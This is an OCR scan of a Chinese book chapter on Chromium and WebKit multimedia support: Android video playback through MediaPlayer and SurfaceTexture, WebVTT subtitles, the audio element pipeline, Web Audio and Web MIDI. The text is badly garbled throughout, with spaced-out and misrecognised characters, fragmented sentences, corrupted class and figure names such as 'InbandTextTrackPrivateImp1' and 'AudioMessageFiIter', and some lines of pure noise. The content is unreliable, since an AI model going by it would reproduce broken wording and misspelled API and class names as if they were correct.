Chromium 惑 只 能 文 持 什么 样 的 相应 格式 。 同 时 ， 由 于 Android 多 媒体 杠 
架 的 优点 ， 使 得 视频 元 系 仍 然 能 够 同 HTML5 中 的 其 他 技术 一 起 工作 ， 
这 点 很 重要 。 


1. Android 媒 体 播放 框架 


Android 中 使 用 一 个 名 为 “MediaService” 的 服务 进程 来 为 应 用 程序 提 
供 音 频 和 视频 的 播放 功能 ， 图 11-6 所 示 的 是 一 个 Android 的 多 媒体 框架 概 
念 图 。 对 于 每 一 个 使 用 多 媒体 播放 功能 的 应 用 程序 来 
W, “MediaService” 服 务 是 透明 的 。 因 为 Android 系 统 提 供 了 使 
用 “MediaService” 的 封闭 接口， 这 些 接口 隐藏 了 MediaService” 服 务 内 部 
的 细节 ， 应 用 程序 只 是 使 用 了 简单 的 播放 接口 。 


Media Player Media Player 





Media Service 


图 11-6 Android 多 媒体 框架 


MediaService 能 够 为 多 个 播放 器 提供 服务 ， 对 于 播放 妖 来 说 ， 它 主 
要 设置 两 个 参数 ， 其 一 是 输入 的 URL， 其 二 是 输出 结果 的 绘制 目标 。 图 
11-7 描 述 了 Android 的 播放 器 类 和 相关 类 ， 以 及 它们 之 间 的 关系 。 
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图 11-7 Android 的 MediaPlayer 相 关 类 


所 以 ， 当 应 用 程序 需要 使 用 播放 器 的 时 候 ，Chromium 可 以 创建 
MediaPlayer 类 的 对 象 ， 调 用 setDataSource 函 数 来 设置 得 播放 视频 文件 ， 
并 调用 setSurface 来 设置 视频 结果 绘制 的 目标 一 一 SurfaceTexture 对 象 ， 

这 是 一 个 GL 的 纹理 对 象 。 因 为 实际 的 解码 和 绘制 是 在 MediaService 进 程 
中 完成 的 ， 这 需要 该 纹理 对 象 能 够 被 多 个 不 同 的 GL 上 下 文 对 象 所 访 

问 ， 文 持 多 个 GL 上 下 文 对 象 访问 的 GL 经 理 对 象 的 类 型 就 是 : 
GL_TEXTURE EXTERNAL OES. 





根据 上 面 的 描述 ， 读 者 可 以 看 到 Chromium 使 用 Android 系 统 提 供 的 
音 视 频 播放 功能 。 这 表示 Chromium 使 用 Android 系 统 的 音 视 频 解码 器 ， 
所 以 Chromium 是 依赖 于 Android 系 统 支 持 的 音 视频 编码 格式 ， 而 不 像 
Chromium 的 昌 面 版 独立 于 操作 系统 文 持 的 音 视 频 编码 格式 。 


2. Chromium 的 视频 解决 方案 


在 Android 系 统 上 ， 因 为 Chromium 使 用 系统 的 多 媒体 框架 ， 所 以 它 
没有 目 己 的 管线 化 引擎 ， 主 要 的 工作 还 是 将 Chromium 的 架构 同 Android 
多 媒体 框架 结合 起 来 以 完成 对 网 页 中 视频 和 音频 的 播放 。 








图 11-8 是 Chromium 在 Android 系 统 上 支持 首 频 和 视频 播放 的 播放 器 


主要 类 ， 因 为 Chromium 的 多 进程 架构 ， 所 以 这 里 面包 括 两 大 部 分 ， 首 
先是 右 侧 的 Renderer 进 程 中 的 相关 类 。 根 据 前 面 Chromium 的 更 面 版 上 文 
持 多 媒体 的 相关 类 ， 笔 者 可 以 看 到 WebKit::WebMediaPlayer 类 和 
WebMediaPlayerClient 类 来 自 于 WebKit 的 Chromium 移 植 ， 这 两 个 类 在 所 
有 平台 上 的 定义 都 是 一 样 的 。 下 面 介绍 Chromium 的 Android 版 文 持 多 媒 
体 播放 的 不 同 之 处 。 
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图 11-8 _ Android 系统 上 的 播放 器 基础 设施 


上 图 中 右 侧 的 Renderer 进 程 ， 从 上 癌 下 看 首先 是 
WebMediaPlayerAndroid 类 ， 它 同 之 前 的 WebMediaPlayerImpl 类 相似 ， 
表示 的 是 Android 系 统 上 网 页 中 的 播放 器 ， 同 video 元 素 是 一 一 对 应 的 。 

与 桌面 系统 上 不 一 样 的 是 ，Android 系 统 使 用 Renderer- 
MediaPlayerManager 类 来 管理 所 有 的 WebMediaPlayerAndroid 对 象 ， 这 是 
为 一 个 网 页 中 可 能 包含 多 个 播放 器 实例 。 而 
WebMediaPlayerProxyAndroid 则 是 同 Browser 进 程 来 通信 的 ， 因 为 真正 的 
Android 播 放 器 是 在 Browser 进 程 中 的 ， 这 里 主要 请 求 Browser 进 程 创 建 实 
际 的 Android 的 MediaPlayer 类 并 设置 播放 文件 的 信息 。 





图 11-8 中 左 侧 则 是 实际 的 播放 器 ， 在 JNI (Java Native Interface) 之 
上 的 是 Java 类 ， 如 同 前 面 介绍 的 ， 该 播放 器 就 是 使 用 Android 系 统 中 的 


android.media.MediaPlayer 及 其 相关 类 来 工作 的 。 从 下 同上 看 ， 首 先是 
BrowserMediaPlayerManager 类 ， 该 类 不 仅 负责 同 Renderer 进 程 的 播放 器 
类 进行 通信 ， 而 且 自 喘 又 是 一 个 播放 器 的 管理 类 ， 它 包含 当前 全 部 网 页 
中 的 所 有 播放 器 对 象 ， 因 为 可 能 会 有 多 个 Renderer 进 程 ， 所 以 只 能 通过 
播放 器 的 唯一 标记 来 区 分 这 些 播放 器 。BrowserMediaPlayerManager 类 管 
理 称 为 MediaPlayerAndroid 类 的 多 个 对 象 ， 而 MediaPlayerAndroid 的 子 类 
MediaPlayerBridge 则 是 具体 实现 类 ， 该 子 类 能 够 与 Java 层 中 相同 名 字 类 
通过 JNI 调 用 来 控制 Android 系 统 的 播放 器 类 ， 图 中 已 经 表明 这 一 关系 。 
请 读者 记 住 ， 这 里 的 所 有 类 都 是 工作 在 Browser 进 程 的 主线 程 。 











上 面 的 过 程 基本 上 就 是 如 何在 网 页 中 创建 一 个 播放 器 的 过 程 ， 从 石 
向 左 ， 直 到 图 11-8 中 左 侧 上 面 的 android.media.MediaPlayer 对 象 被 创建 完 
成 ， 与 此 同时 Chromium 获 取 网 页 中 设置 的 视频 文件 的 URL 字 符 串 ， 然 
后 传递 并 设置 该 URL 字 符 串 到 Android 的 媒体 播放 器 中 。 








输入 是 有 了 ， 那 么 输出 呢 ? 播放 器 将 解 介 之 后 的 结果 输出 到 什么 目 
标 上 呢 ? 在 Android 上 ， 如 前 面 所 述 ，Chrome 使 用 SurfaceTexture 对 象 作 
为 输出 目标 。 创 建 和 使 用 SurfaceTexture 对 象 的 过 程 是 如 何 进行 的 呢 ? 当 
Chromium 调 用 WebMediaPlayerAndroid 类 的 play 函 数 时 ， 该 函数 发 起 请 
求 从 Renderer 进 程 到 Browser 进 程 来 创建 输出 目标 ， 也 就 是 
SurfaceTexture 对 象 ， 图 11-9 摘 述 了 这 一 过 程 中 使 用 到 的 主要 类 和 它们 之 
间 的 关系。 
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Browser 进程 中 的 GPU 线程 Renderer 进程 
图 11-9 ”媒体 播放 器 的 视频 结果 基础 设施 


下 面 依次 了 解 右 侧 的 Renderer 进 程 部 分 。 从 上 往 下 看 ， 最 上 面 的 是 
StreamTexture-FactoryImpl 类 ， 顾 名 思 义 ， 该 类 就 是 创建 目标 结果 存储 
空间 的 类 ， 它 被 WebMedia-PlayerAndroid 类 使 用 来 创建 所 需要 的 结果 存 
储 对 象 StreamTexture。 因 为 实际 的 对 象 是 在 Browser 进 程 中 被 创建 的 ， 

所 以 Renderer 进 程 中 的 StreamTextureProxy 类 就 是 一 个 代理 类 ， 最 后 的 请 
求 通过 GPUChannelHost 类 来 传递 给 Browser 进 程 。 











在 Browser 进 程 中 ， 人 负责 处 理 上 述 请 求 的 是 GPU 线 程 ， 该 线程 由 
StreamTextureManager-Android 类 来 处 理 所 有 创建 StreamTexture 对 象 的 请 
求 。StreamTexture 对 象 的 直接 使 用 者 是 GPU 线程 。Renderer 进 程 需要 区 
分 和 标识 这 些 StreamTexture 对 象 ， 具 体 的 方法 是 使 用 整形 标记 符 来 表示 
Browser 进 程 中 的 各 个 StreamTexture 对 象 。StreamTexture 和 





StreamTextureManager 是 基础 抽象 类 ， 在 Android 系 统 上 ， 
StreamTextureAndroid 和 StreamTextureManagerAndroid 是 实际 的 实现 类 
Stream-TextureAndroid 表 示 的 是 C++ 端的 桥接 类 ， 它 包含 一 个 
SurfaceTexture 对 象 ， 该 对 象 会 在 Java 端 创建 一 个 
android.graphics.SurfaceTexture 对 象 ，Chromium 设 置 该 对 象 到 
MediaPlayer 对 象 作为 播放 器 的 输出 目标 。 


当 视 频 播放 器 将 解码 后 的 结果 写 入 到 SurfaceTexture 后 ， 播 放 器 需 

告诉 Chromium 浏 览 器 这 一 信息 ， 因 为 Chromium 浏 览 器 需要 执行 合成 
a 作 ， 而 合成 器 在 Renderer 进 程 中 ， 同 之 前 创建 SurfaceTexture 对 象 的 调 
用 过 程 正好 相反 ， 这 里 需要 使 用 回调 机 制 ， 这 就 是 Java 层 
SurfaceTextureListener 类 的 作用 ， 该 回调 类 注册 Java 层 的 回调 对 象 到 创 
建 好 的 SurfaceTexture 对 象 ， 当 该 对 象 被 写 入 新 帧 的 时 候 ，Chromium 首 
先是 从 Browser 进 程 中 的 Java 层 将 这 一 回调 动作 通过 JNI 到 C++ 层 的 
SurfaceTextureListener 类 的 FrameAvailable 函 数 ， 该 函数 经 过 
StreamTextureAndroid 和 StreamTextureManagerAndroid 类 最 后 发 送 到 
Renderer 进 程 ，Renderer 进 程 的 调用 过 程 如 图 11-10 所 示 。 
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图 11-10 ”视频 帧 的 合成 过 程 


ETH AU FE IF) SST AR St Ee — BIN ee eel aie 
知道 了 吧 ? 没 错 ， 读 者 可 以 回忆 一 下 第 8 章 中 对 于 它们 的 详细 介绍 ， 





频 只 是 众多 层 中 的 一 层 ， 合 成 过 程 仍然 是 之 前 所 描述 的 那样 。 





网 页 中 的 视频 播放 有 两 种 模式 ， 其 一 是 敬 入 式 模 式 ， 其 二 是 全 屏 模 
式 ， 这 两 种 模式 在 对 解码 后 结果 的 处 理 上 是 不 一 样 的 。 图 11-11 描 述 了 
全 屏 模 式 创建 视频 结果 的 绘制 目标 的 相关 类 和 过 程 。 
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图 11-11 全 屏 模式 下 的 输出 目标 创建 过 程 








当 某 个 播放 器 进入 全 屏 模 式 的 时 候 ，Chromium 使 用 
ContentVideoView 类 来 管理 ， 该 类 会 创建 一 个 SurfaceView 对 象 并 将 对 象 
传递 给 C++ 剖 的 ContentVideoView 类 ， 因 为 总 是 只 有 一 个 播放 器 是 全 屏 
模式 ， 而 且 BrowserMediaPlayerManager 管 理 所 有 的 MediaPlayer 对 象 ， 所 
以 该 管理 类 能 够 知道 哪个 对 象 是 全 屏 播 放 模 式 ， 并 将 该 SurfaceView 对 
象 设 置 到 相应 的 MediaPlayer 对 象 中 去 。 





关于 多 媒体 播放 器 ， 还 有 一 点 非常 有 趣 ， 那 就 是 播放 器 的 控制 器 
(Controls) ， 它 是 用 来 控制 播放 的 开始 、 停 止 、 快 进 、 声 音 控制 等 操 
作 的 ， 网 页 的 开发 者 在 “video” 元 素 中 加 入 属性 “controls” 就 可 以 调用 默 
认 的 控制 器 ， 浏 览 器 了 束 可 以 为 网 页 绘制 出 一 个 默认 的 控制 器 ， 当 然 开 发 
者 也 能 够 定义 自身 的 控制 器 ， 因 为 浏览 髓 已 经 提供 了 相应 的 JavaScript 接 
口 。 当 使 用 默认 控制 器 的 时 候 ， 浏 览 器 是 如 何 绘制 控制 句 的 呢 ? 方法 就 








是 使 用 第 4 章 的 影子 DOM 技 术 ， 此 处 介绍 的 DOM 树 结构 不 会 出 现在 网 页 
的 DOM 树 中 ， 这 样 就 可 以 使 用 HTML5 的 CSS 技 术 来 绘制 所 需 的 控制 
器 ， 非 常 方便 而 且 易 于 维护 。 





11.2.4 字幕 





对 于 视频 技术 ， 还 有 一 个 重要 的 组 成 部 分 ， 那 就 是 字幕 的 支持 。 庆 
地 的 是 ，W3C 组 织 已 经 开始 定义 文 持 字幕 的 “track” 元 素 ， 而 字幕 文件 采 
用 的 格式 是 webVTIT 格 式 ， 该 格式 看 起 来 比较 直观 ， 简 单 的 例子 就 是 时 
间 惟 区 间 加 上 相应 的 字幕 文字 ， 有 兴趣 的 读者 可 以 去 W3C 官 网 上 碍 看 一 
下 。 示 例 代 码 11-3 是 一 个 使 用 字幕 的 视频 元 素 ， 实 际 上 ， 因 为 语言 的 问 
题 ， 每 个 “video” 元 素 可 以 有 多 个 “track" 元 素 ， 每 个 “track” 元 素 可 以 用 来 
表示 一 种 语言 。 





























示例 代码 11-3 ”使 用 字幕 的 视频 元 素 代 码 


<video controls="controls"> 
<source src="video.mp4" type="video/mp4"> 


<track src="captions.vtt" kind="Subtitles" srclang="en" la 


</video> 


字幕 文件 的 解释 工作 不 依赖 各 个 WebKit 移 植 ，WebCore 模 块 完 整地 
文 持 了 "track” 元 素 解 析 、 字 幕 文件 解析 等 功能 。 图 11-12 是 WebKit 文 持 
字幕 功能 的 主要 类 ， 笔 者 逐次 来 分 析 它 们 。 


HTML TrackElement 
LoadableTextTrack 


+scheduleLoad() 


InbandTextTrackPrivate 

















+addCue() 


InbandTextTrack 


\/ 
InbandTextTrackPrivateClient 











+kind() +addWebVTTCue()} 

A ae 
InbandTextTrackPrivatelmpl WebMediaP layerClientimp! 

AGE Bee ae +addTextTrack() 
create 

Vi 
WebinbandTextTrackClient We blnbandTextTrack 
| +setClient() 


图 11-12 WebKit 中 支持 字幕 的 基础 设施 





“track” 本 里 是 一 个 HTML 元 素 ， 所 以 它 在 DOM 中 有 相应 的 闻 点 元 
素 ， 这 就 是 图 中 的 HTMLTrackElement 类 。 根 据 规范 ，“track” 元 素 有 一 
个 重要 的 属性 ， 那 融 是 “src"， 该 属性 指定 了 字幕 文件 的 URL。WebKit 
使 用 LoadableTextTrack 类 来 负责 解析 字幕 文件 并 使 用 TextTrack 类 来 存储 
解析 后 的 结果 。 目 前 WebKit 只 文 持 WebVTT 格 式 的 字幕 ， 使 用 
WebVTTParser 解 析 需 来 解释 它们 ， 关 系 不 是 很 复杂 。 








下 面 一 部 分 是 提供 接口 ， 这 里 的 接口 依然 是 WebKit 的 Chromium 移 
植 所 定义 的 接口 ， 不 同 的 移植 所 定义 的 接口 可 能 不 一 样 。 接 口 依然 是 两 
个 类 ，WebInbandTextTrack 和 WebInbandText-TrackClient 类 ， 量 是 公开 
接口 ，WebInbandTextTrack 类 由 Chromium 实 现 ， 由 WebKit 调 用 。 而 
WebInbandTextTrackClient 类 则 由 WebKit 实 现 ， 实 现 类 天 是 
InbandTextTrackPrivateImp1， 它 实现 WebInbandTextTrackClient 的 接口 ， 
然后 调用 解析 后 的 字幕 并 返回 给 Chromium。 这 一 过 程 由 
InbandTextTrackPrivateClient 类 和 InbandTextTrack 类 完成 ， 这 里 类 的 关系 
有 些 复 杂 ，WebKit/Blink 今 后 最 好 能 简化 一 下 。 











上 面 这 些 动 作 需 要 将 一 些 消 息 传 递 给 JavaScript 代 码 ， 因 为 规范 提供 
了 JavaScript 接 口 ， 开 发 者 可 以 让 JavaScript 代 码 控制 或 者 获取 字幕 信 
息 ， 这 些 不 再 介绍 。 下 面 是 Chromium 中 的 支持 框架 ， 图 11-13 描 述 了 
Chromium 是 如 何 将 WebKit 中 的 字幕 信息 桥接 到 多 媒体 管线 化 引擎 中 去 
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图 11-13 Chromium 中 支持 字幕 的 基础 设施 


在 Chromium 中 ，WebMediaPlayerImpl 类 创建 继承 类 的 对 象 ， 并 设 
置 WebInband-TextTrackClient 对 象 到 该 对 象 。 根 据 之 前 的 介绍 可 知 ， 访 
对 象 实际 上 是 InTextTrack， 它 包含 解析 后 的 字幕 内 容 ， 这 样 
TextTIrackImpl 就 可 以 获得 字幕 的 内 容 ， 而 TextTrack 对 象 会 被 多 媒体 的 
管线 化 引擎 所 调用 并 泻 染 在 视频 的 结果 中 。 


11.2.5 ”视频 扩展 





在 视频 领域 ， 还 有 很 多 方面 在 不 停 地 回 前 发 展 ， 包 括 Media Source 
接口 、 音 视频 资源 保护 等 ， 这 些 称 为 Media 的 扩展 。 


接 下 来 讨论 的 是 对 音 视 频 资 源 的 保护 ， 也 就 是 版 权 保护 的 问题 ， 通 
俗 一 点 束 古 如 何 避 免 被 非法 拷贝 和 使 用 。 在 HTML5 中 ， 目 前 没有 成 熟 





方案 的 原因 有 两 种 。 一 种 说 法 是 编码 格式 应 该 自行 解决 该 问题 ， 而 不 是 
需要 HTML5 和 额外 提供 解决 方案 。 但 是 ， 束 目前 而 言 ， 主 流 的 三 种 方式 

都 没有 解决 加 密 等 保护 问题 ， 所 以 事实 上 这 的 确 是 一 个 问题 。 另 外 一 种 
就 是 目前 标准 组 织 没 有 继续 坚持 之 前 的 想法 ， 开 始 了 其 他 方面 的 研究 和 
工作 ， 这 就 是 “Encrypted Media Extensions”， 它 目前 还 在 草案 阶段 ， 主 
要 用 来 保护 播放 内 容 的 安全 ， 具 体 请 但 看 W3C 官 方 网 站 上 的 文档 。 











而 关于 Media Source 扩 展 ， 其 主要 目的 是 提供 接口 来 让 JavaScript 代 
人 码 能 够 生成 多 媒体 流 ， 典 型 的 应 用 场景 是 自 适 应 流 ， 其 主要 接口 是 
MediaSource 和 SourceBuffer。 每 个 MediaSource 对 象 可 以 包含 多 个 
SourceBuffer 对 象 ， 每 个 SourceBuffer 包 含 一 个 数据 流 ， 如 视频 流 或 音频 
流 ，Chromium 已 经 开始 提供 一 些 文 持 。 


11.3 ”音频 


11.3.1 音频 元 素 


说 完 视频 之 后 ， 接 下 来 就 是 HTML5 中 对 音频 的 支持 情况 。 音 频 支 
持 不 仅 指 对 声音 的 播放 ， 还 包括 对 音频 的 编辑 和 合成 ， 以 及 对 乐器 数字 
接口 (MIDI) 等 的 支持 ， 下 面 逐 次 介绍 并 分 析 它 们 。 





11.3.1.1 HTML5 Audio 元 素 


说 到 音频 ， 最 简单 当然 也 是 最 直接 想到 的 就 是 音频 播放 ， 在 
HTML5 中 使 用 "audio 元 素来 表示 。 同 视频 类 似 ，HTML5 标 准 中 也 定义 
了 三 种 格式 ， 它 们 是 Ogg、MP3 和 Wav。 到 目前 为 止 ， 笔 者 所 了 解 的 浏 
览 右 对 音频 格式 的 文 持 如 表 11-2 所 示 。 











表 11-2 主流 浏览 器 对 HTML5 中 三 个 音频 格式 的 支持 





与 视频 格式 类 似 ， 考 虑 到 浏览 器 对 HTML5 的 “audio” 支 持 程度 不 
同 ， 格 式 也 不 尽 相 同 ， 所 以 Web 开 发 者 同样 可 以 提供 三 种 格式 的 文件 ， 
采用 如 实例 代码 11-4 所 示 的 代码 以 获得 最 好 的 用 户 体 验 效 果 。 


示例 代码 11-4 使 用 “audio” 元 素 的 HIML5 代 码 片段 


<audio controls="controls"> 
<source src="audio.mp3" type="audio/mpeg"> 
<source src=" audio.wav" type="audio/wav"> 
<source src=" audio.ogg" type="audio/ogg"> 
Your browser does not support the audio tag. 


</audio> 


因为 视频 内 容 通常 包含 音频 数据 ， 所 以 不 仅仅 是 “audio” 元 素 才 会 使 
音频 播放 ， 但 是 二 者 在 工作 原理 上 是 类 似 的 。 同 时 ， 音 频 的 字幕 同 视 
频 是 一 样 的 , “track” 元 素 也 可 以 用 在 “audio” 元 系 的 字幕 中 ， 用 来 显示 字 


zb 


FF o 








11.3.1.2 ”基础 设施 


音频 的 文 持 方 面 还 是 从 输入 和 输出 两 个 方面 着 手 。 对 于 输入 ， 同 视 
频 类 似 ，WebKit 使 用 资源 加 载 器 先 加 载 音 频 文件 ， 之 后 是 建立 音频 元 
素 、 管 线 化 引擎 相关 的 类 ， 如 MediaPlayer 类 、HTMLAudioElement 和 
WebMediaPlayer 类 等 。 同 视频 不 一 样 的 是 ， 视 频 的 输出 是 GPU 中 的 纹理 
对 象 ， 而 音频 需要 输出 到 声卡 ， 所 以 需要 打开 声卡 设备 。 因 为 
Chromium 的 沙 箱 模型 机 制 ， 所 以 只 能 靠 Browser 进 程 来 打开 和 关闭 声卡 
设备 ， 图 11-14 描 述 了 多 进程 中 如 何 将 首 频 从 Renderer 进 程 传输 到 
Browser 进 程 ， 以 及 WebKit 和 Chromium 中 相应 的 基础 设施 。 
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图 11-14 WebKit 和 Chromium 支 持 Audio 的 基础 设施 


首先 是 Renderer 进 程 这 一 部 
绍 如 下 。 


hs 


也 就 是 右 侧 部 分 ， 


e WebKit::WebAudioSourceProvider 
WebKit::WebAudioSourceProviderClient 
WebKit 的 Chromium 移 植 接口 类 ， 根 据 名 字 读 者 已 经 猜测 出 来 了 ， 


前 者 提供 音频 原 数 据 ， 也 就 是 


方式 ， 也 就 是 在 ResourceLoader 加 载 数 据 之 后 ， 





MEE BRIS 


和 
: 最 上 面 两 个 类 是 


首 频 文件 中 的 数据 ， 这 里 采用 “ 拉 ” 的 





当 且 仅 当 演 染 引擎 








需要 新 的 数据 的 时 候 ， 主 动 从 加 载 后 的 数据 中 拉 出 数据 来 进行 解 


个 。 


“provideInput” È 


于 让 Chromium 的 媒体 播放 器 设置 频道 数量 、 


函数 由 Chromium 实 现 ， 由 WebKit 引 擎 
WebKit::WebAudioSourceProviderClient 提 供 了 “setFormat” 池 


ATED 。 
BM, FA 








采样 率 等 信息 4D o 


WebAudioSourceProviderImpl 是 WebKit::Web-AudioSourceProvider 的 


实现 类 。 
e AudioRendererImp!I 








: Ye Sa 


染 需 的 实现 ， 并 使 用 类 


AudioRenderSink 将 音频 解码 的 结果 输出 到 音频 


e AudioRendererSink : 





一 个 抽象 类 ， 用 于 表示 


首 频 终端 点 ， 能 


MES 


够 接收 解码 后 的 音频 信息 ， 典 型 的 一 个 例子 就 是 音频 设备 。 

。 AudioRendererMixer : 演 染 器 中 的 调 首 类 。 

e AudioOutputDevice : 音频 的 输出 设备 ， 当 然 只 是 一 个 桥接 层 ， 
为 实际 的 调用 请 求 是 通过 下 面 两 个 类 传送 给 Browser 进 程 的 。 

。AudioOutputIPCImpI 和 AudioMessageFiIter : 前 者 将 数据 和 指令 
通过 IPC 发 送 给 Browser 进 程 ， 而 后 者 当然 焉 是 执行 消息 发 送 机 制 的 


类 。 





然后 是 Browser 进 程 这 一 部 分 ， 也 就 是 左 侧 部 分 ， 自 下 而 上 依次 介 
绍 如 下 。 


e AudioRendererHost : Browser 进 程 端 同 Renderer 进 程 通信 并 有 调度 
管理 输出 视频 流 的 功能 ， 对 于 每 个 输出 流 ， 有 相应 的 
AudioOutputStream 对 象 对 应 ， 并 且 通 过 AudioOutputController 类 来 
处 理 和 优化 输出 。 

e AudioOutputController : 该 类 控制 一 个 AudioOutputStream 对 象 并 
提供 数据 给 该 对 象 ， 提 供 play、Ppause、stop 等 功能 ， 因 为 它 控制 着 
音频 的 输出 结果 。 

。 AudioOutputStream 和 AudioOutputProxy : 音频 的 输出 流 类 和 其 
子 类 。AudioOutputProxy 是 一 个 使 用 优化 算法 的 类 ， 它 仪 在 Start() 
和 Stop0 函 数 之 间 打 开 音 频 设 备 ， 其 他 情况 下 音频 设备 都 是 关闭 
的 。AudioOutputProxy 使 用 AudioOutputDispatcher 打 开 和 关闭 实际 
的 物理 音频 设备 。 

e AudioOutputDispatcher 和 AudioOutputDispatcherImpI : 控制 音 
频 设备 的 接口 类 和 实际 实现 类 。 








经 过 上 面 对 类 的 解释 ， 相 信访 者 有 了 一 个 大 致 的 思路 : 当 WebKit 和 
Chromium 需 要 输出 解码 后 的 音频 数据 时 ， 通 过 从 石 侧 自 上 向 下 、 左 侧 





目下 同上 的 过 程 ， 然 后 使 用 共享 内 存 的 方式 将 解码 后 的 数据 输出 到 实际 
的 物理 设备 中 。 


11.3.2 Web Audio 


Audiot R Hes HOR FRCS PPR ea, (Ae, HTMLA E 
强大 的 能 力 来 处 理 声音 ， 这 就 是 Web ”Audio。 该 规范 提供 了 高 层次 的 
JavaScript 接 口 ， 用 来 处 理 和 合成 声音 。 整 个 思路 就 是 提供 一 张 图 ， 访 图 
中 的 每 个 节点 称 为 AudioNode， 这 些 节 点 构成 处 理 的 整个 过 程 ， 虽 然 实 
际 的 处 理 是 使 用 C/C++ 来 完成 的 ， 但 是 Web ”Audio 也 提供 了 一 些 接口 来 
让 Web 前 端 开 发 者 使 用 JavaScript 代 码 来 调用 C/C++ 的 实现 。WebAudio 对 
于 很 多 Web 应 用 很 有 帮助 ， 例 如 游戏 ， 它 能 够 帮助 开发 者 设计 和 实时 合 
成 出 各 种 音效 。 





根据 W3C 的 Web Audio 规 范 的 定义 ， 整 个 处 理 过 程 可 以 看 成 一 个 拓 
扑 图 ， 该 图 有 一 个 或 多 个 输入 源 ， 称 为 Source 节 点 。 中 间 的 所 有 点 都 可 
以 看 成 各 种 处 理 过 程 ， 它 们 组 成 复杂 的 网 。 图 中 有 一 个 最 终 节点 称 
为 “Destination”， 它 可 以 表示 实际 的 音频 设备 ， 每 个 图 只 能 有 一 个 该 类 
型 的 节点 。 上 述 图 中 的 所 有 市 点 都 是 工作 在 一 个 上 下 文中 ， 称 为 
AudioContext， 如 图 11-15 所 示 。 











图 11-15 ”使 用 WebAudio 技 术 的 音频 图 








对 于 Sourcel 节 点 ， 它 没有 输入 节点 ， 只 有 输出 节点 。 对 于 中 间 的 





这 些 节点 ， 它 们 既 包 含 输入 节点 也 包含 输出 节点 ， 而 对 于 Destination 节 
点 ， 它 只 有 输入 节点 ， 没 有 输出 节点 。 上 述 图 中 的 其 他 节点 都 是 可 以 任 


意 定 义 的 ， 这 些 节 点 每 一 个 都 可 以 代表 一 种 处 理 算法 ， 开 发 者 可 以 根据 
让 要 设置 不 同 的 节点 以 处 理 出 不 同 效果 的 音频 输出 。 


ait Gls 








中 间 这 些 节 点 有 很 多 类 型 ， 它 们 的 作用 也 不 一 样 ， 这 些 节 点 的 实现 
通 音 由 C 或 者 C++ 代码 来 完成 以 达到 高 性 能 ， 当 然 这 里 提供 的 接口 都 是 
JavaScript 接 口 。 


Web Audio 的 绝 大 多 数 处 理 都 是 在 webKit 中 完成 的 ， 而 不 需要 
Chromium 过 多 地 参与 ， 除 了 输入 源 和 输出 结果 到 实际 设备 ， 其 他 同 前 
面 的 多 媒体 数据 源 是 一 致 的 ， 不 再 歼 述 ， 下 面 描述 图 11-15 中 的 结构 是 
如 何 被 WebKit 支 持 的 。 


图 11-16 的 上 半 部 分 主要 是 文 持 规 范 中 的 标准 接口 ， 例 如 
AudioBufferSourceNode、AudioContext、DestinationNode 和 
OscillatorNode 等 类 ， 它 们 对 应 图 11-15 中 规范 定义 的 接口 ， 还 有 众多 的 
类 这 里 并 没有 绘制 出 。 下 面 重 点 关注 的 是 OsicllatorNode 类 ， 它 需要 对 首 
频数 据 进行 大 量 计算 ， 包 括 辐 量 的 加 法 、 乘 法 等 。 同 时 该 节点 类 需要 使 
用 PeriodicWave 来 计算 周期 性 波形 ， 这 里 面 需要 使 用 到 FFT《〈 人 快速 传 立 
叶 变 换 ) 算法 ， 因 为 音频 的 及 时 性 ， 网 页 对 性 能 有 非常 高 的 要 求 。 对 于 
Chromium 移 植 ， 不 同 乎 台 采 用 不 同 的 加 速算 法 ， 在 Windows 和 Linux 上 
使 用 FFmpeg 中 的 高 性 能 算法 ， 在 Android 上 使 用 OpenMax DL 提供 的 接 
口 来 加 速 ， 而 在 Mac 上 又 是 不 同 的 算法 。 
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2111-16 WebKkit 支 持 WebAudio 的 一 些 重要 基础 设施 


Web Audio 对 于 Web 领 域 来 说 很 重要 ， 一 个 重要 的 应 用 场景 就 是 游 
戏 ， 因 为 游戏 中 进 场 需要 合成 首 效 或 者 变换 出 不 同 的 首 效 结果 ， 笔 者 很 
乐意 看 到 它 在 HIML5 中 发 展 得 越 来 越 好 ， 推 动 游戏 等 应 用 领域 的 发 
展 。 





11.3.3 MIDI 和 Web MIDI 


MIDI 是 一 个 通信 标准 ， 它 是 电子 乐器 之 间 ， 以 及 电子 乐器 与 电脑 
之 间 的 统一 交流 协议 ， 用 以 确定 电脑 音乐 程序 、 合 成 器 和 其 他 电子 音响 
设备 互相 交换 信息 与 控制 信号 的 方法 。 同 其 他 的 声音 格式 不 同 ，MIDI 
不 是 记录 采样 信息 ， 而 是 记录 乐器 的 演奏 指令 。 现 在 ， 在 Web 中 支持 
MIDI 变 成 了 一 个 非常 热门 的 话题 。 











音频 也 可 以 以 MIDI 格 式 来 存储 ， 但 是 该 格式 并 不 是 HITML5 的 标 
准 ， 所 以 浏览 器 并 没有 内 置地 支持 它们 。 为 了 能 让 MIDI 格 式 的 音乐 播 
放出 来 ， 可 以 使 用 JavaScript 人 代码， 这 就 是 MIDILjs。 它 使 用 上 面 提 到 的 


WebAudio 技 术 和 Audio 元 素来 实现 音乐 的 播放 ， 在 Chromium 中 效果 非 
贡 不 错 。 


但 是 这 也 只 能 做 到 播放 MIDI 格 式 的 音频 文件 ， 能 否 在 JavaScript 中 
利用 代码 来 控制 MIDI 输 入 和 输出 设备 呢 ? 也 就 是 能 够 读 入 MIDI 的 输入 
信息 ， 由 JavaScript 代 码 将 其 信息 处 理 成 MIDI 格 式 的 指令 并 传送 到 输出 
设备 ， 这 就 是 现在 兴起 的 Web ” MIDI 技术 。 目 前 的 规范 定义 了 一 系列 接 
口 来 接收 和 发 送 MIDI 指 令 ， 但 是 该 技术 本 身 并 不 提供 语义 上 的 控制 ， 
而 只 是 负责 传输 这 些 指 令 ， 所 以 这 染 引 警 其实 并 不 知道 这 些 指令 的 实际 
含义 ， 这 是 跟 Web Audio 非 常 不 一 样 的 地 方 。 





根据 上 面 的 描述 ，Web ”MIDI 规 范 中 定义 了 输入 和 输出 的 MIDI 设 
备 ， 如 MIDIImput 和 MIDIOutput， 通 过 MIDIAccess 接 口 返回 到 所 有 枚 举 
的 输入 和 输出 设备 。MIDIImput 主 要 包含 一 个 接收 指令 的 函数 ， 叫 
onMessage， 而 MIDIOutput 包 含 一 个 发 送 指令 的 函数 ， 叫 send， 而 发 送 
的 数据 指令 就 是 MIDIEvent， 该 指令 包含 一 个 时 间 惟 和 数据 。MIDI 规 范 
也 是 草案 阶段 ， 所 以 支持 它 的 浏览 器 很 少 ， 在 2013 年 6 月 ，Google 演 染 
